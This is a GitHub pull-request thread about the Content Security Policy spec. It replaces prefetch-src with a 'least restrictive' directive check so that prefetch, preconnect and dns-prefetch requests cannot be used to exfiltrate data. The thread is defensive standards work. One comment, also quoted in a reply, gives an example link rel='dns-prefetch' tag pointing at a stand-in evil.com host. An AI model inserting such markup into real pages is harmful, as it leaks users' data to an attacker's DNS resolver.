Use "least restrictive" directive instead of prefetch-src

[noamr]

When prefetching a resource (or preconnecting to an origin), the destination of the request is unknown and also not important.

e.g. if this resource is a script and would be disallowed by script-src, the directive would be invoked again when the response is about to be consumed and would be rejected then.

The only security measure valid for prefetch/preconnect is to avoid exfiltration - i.e. block the request when the default directive blocks this URL and no other directive allows it.

Closes #542

[mikewest]

This seems like a reasonable direction to me. I'd like to find a way to include DNS prefetch / preconnect as well. Perhaps we can hand-wave at that in a security considerations section, since I don't think the fetch hooks exist at the moment?

[mikewest]

I think you'll also need to modify https://w3c.github.io/webappsec-csp/#effective-directive-for-a-request and https://w3c.github.io/webappsec-csp/#directive-fallback-list.

[noamr]

Done

[noamr]

This seems like a reasonable direction to me. I'd like to find a way to include DNS prefetch / preconnect as well. Perhaps we can hand-wave at that in a security considerations section, since I don't think the fetch hooks exist at the moment?

I will add a non-handwavy thing for preconnect in fetch, no need to handwave. Probably create a "fake" request just for the purpose of checking it against the policy.

I don't know if dns-prefetch needs this, as doing a DNS check is not really exfiltration (or is it?)
I think once we specify dns-prefetch we can make this happen. Right now that rel is handwavy to begin with...

[mikewest]

dns-prefetch is certainly an exfiltration mechanism as <link rel="dns-prefetch" href="https://super-secret-data.evil.com/" /> ends up at evil.com's resolver.

[noamr]

dns-prefetch is certainly an exfiltration mechanism as <link rel="dns-prefetch" href="https://super-secret-data.evil.com/" /> ends up at evil.com's resolver.

OK then.

[annevk]

(Defining dns-prefetch is fairly straightforward nowadays given that https://fetch.spec.whatwg.org/#resolve-an-origin exists.)

[noamr]

(Defining dns-prefetch is fairly straightforward nowadays given that https://fetch.spec.whatwg.org/#resolve-an-origin exists.)

Totally, it's on my list after we finish prefetch.

[mikewest]

Added some suggestions, but this generally looks good.

Have you talked to other vendors about their opinion on this change? Are tests in progress?

[noamr]

Added some suggestions, but this generally looks good.

Have you talked to other vendors about their opinion on this change? Are tests in progress?

Waiting for a response from Mozilla folks to this Standards position comment, and for Apple's position on some of the details.

I wanted to reach a bit of consensus before proceeding to the tests, but perhaps this is a good time.

[noamr]

Added some suggestions, but this generally looks good.

Have you talked to other vendors about their opinion on this change? Are tests in progress?

Tests: web-platform-tests/wpt#37715

[mikewest]

Thanks, @noamr. I'm happy with this PR based on the tests you linked and WebKit's apparent approval in WebKit/standards-positions#114 (comment).

You'll need to join WebAppSec to make the IPR bot happy. Perhaps you can take care of that before I land this?

[noamr]

Thanks, @noamr. I'm happy with this PR based on the tests you linked and WebKit's apparent approval in WebKit/standards-positions#114 (comment).

You'll need to join WebAppSec to make the IPR bot happy. Perhaps you can take care of that before I land this?

Done